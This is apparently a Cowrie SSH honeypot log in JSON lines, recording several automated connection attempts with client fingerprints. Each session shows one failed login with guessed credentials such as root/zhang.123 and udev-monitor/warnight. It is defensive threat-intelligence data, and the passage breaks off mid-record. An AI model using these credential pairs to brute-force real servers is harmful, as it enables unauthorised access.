{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:38.154141Z","src_ip":"40.78.155.180","session":"52ecc3724e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:38.192062Z","src_ip":"40.78.155.180","session":"52ecc3724e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhang.123","message":"login attempt [root/zhang.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:38.372788Z","src_ip":"40.78.155.180","session":"52ecc3724e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:39.414103Z","src_ip":"40.78.155.180","session":"52ecc3724e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":52404,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfe3a5dd9c60","protocol":"ssh","message":"New connection: 43.156.212.86:52404 (10.17.0.5:22) [session: cfe3a5dd9c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:45.983673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:45.989252Z","src_ip":"43.156.212.86","session":"cfe3a5dd9c60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:46.235956Z","src_ip":"43.156.212.86","session":"cfe3a5dd9c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:47.249993Z","src_ip":"43.156.212.86","session":"cfe3a5dd9c60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:48.501351Z","src_ip":"43.156.212.86","session":"cfe3a5dd9c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":49352,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f27b4e516ad","protocol":"ssh","message":"New connection: 160.22.18.220:49352 (159.203.135.109:22) [session: 8f27b4e516ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:49.776343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:49.781193Z","src_ip":"160.22.18.220","session":"8f27b4e516ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:50.026304Z","src_ip":"160.22.18.220","session":"8f27b4e516ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mr123","message":"login attempt [root/mr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:51.031826Z","src_ip":"160.22.18.220","session":"8f27b4e516ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:52.285852Z","src_ip":"160.22.18.220","session":"8f27b4e516ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":54040,"dst_ip":"10.17.0.5","dst_port":22,"session":"703b6358590f","protocol":"ssh","message":"New connection: 177.234.174.18:54040 (10.17.0.5:22) [session: 703b6358590f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:57.466331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:57.471491Z","src_ip":"177.234.174.18","session":"703b6358590f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:57.612884Z","src_ip":"177.234.174.18","session":"703b6358590f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:58.207353Z","src_ip":"177.234.174.18","session":"703b6358590f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:59.354852Z","src_ip":"177.234.174.18","session":"703b6358590f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":49182,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ba40e315f43","protocol":"ssh","message":"New connection: 152.32.172.177:49182 (10.17.0.5:22) [session: 8ba40e315f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:33.451252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:33.455882Z","src_ip":"152.32.172.177","session":"8ba40e315f43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:33.673971Z","src_ip":"152.32.172.177","session":"8ba40e315f43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:34.576628Z","src_ip":"152.32.172.177","session":"8ba40e315f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:35.797985Z","src_ip":"152.32.172.177","session":"8ba40e315f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":40942,"dst_ip":"159.203.135.109","dst_port":22,"session":"77763ef179f9","protocol":"ssh","message":"New connection: 135.235.138.43:40942 (159.203.135.109:22) [session: 77763ef179f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:44.354291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:44.358531Z","src_ip":"135.235.138.43","session":"77763ef179f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:44.541549Z","src_ip":"135.235.138.43","session":"77763ef179f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tiger1991","message":"login attempt [root/tiger1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:45.308553Z","src_ip":"135.235.138.43","session":"77763ef179f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:46.495709Z","src_ip":"135.235.138.43","session":"77763ef179f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":38288,"dst_ip":"159.203.135.109","dst_port":22,"session":"dde9365663d8","protocol":"ssh","message":"New connection: 80.94.92.171:38288 (159.203.135.109:22) [session: dde9365663d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:49.580262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:49.660719Z","src_ip":"80.94.92.171","session":"dde9365663d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:50.051680Z","src_ip":"80.94.92.171","session":"dde9365663d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:50.415253Z","src_ip":"80.94.92.171","session":"dde9365663d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:05:51.733738Z","src_ip":"80.94.92.171","session":"dde9365663d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":46428,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1d06324fbe1","protocol":"ssh","message":"New connection: 40.78.155.180:46428 (10.17.0.5:22) [session: b1d06324fbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:01.139605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:01.145081Z","src_ip":"40.78.155.180","session":"b1d06324fbe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:01.335462Z","src_ip":"40.78.155.180","session":"b1d06324fbe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:01.486449Z","src_ip":"40.78.155.180","session":"b1d06324fbe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:02.531174Z","src_ip":"40.78.155.180","session":"b1d06324fbe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":38812,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b5f3942bf1d","protocol":"ssh","message":"New connection: 43.156.212.86:38812 (10.17.0.5:22) [session: 7b5f3942bf1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:02.874883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:02.881809Z","src_ip":"43.156.212.86","session":"7b5f3942bf1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 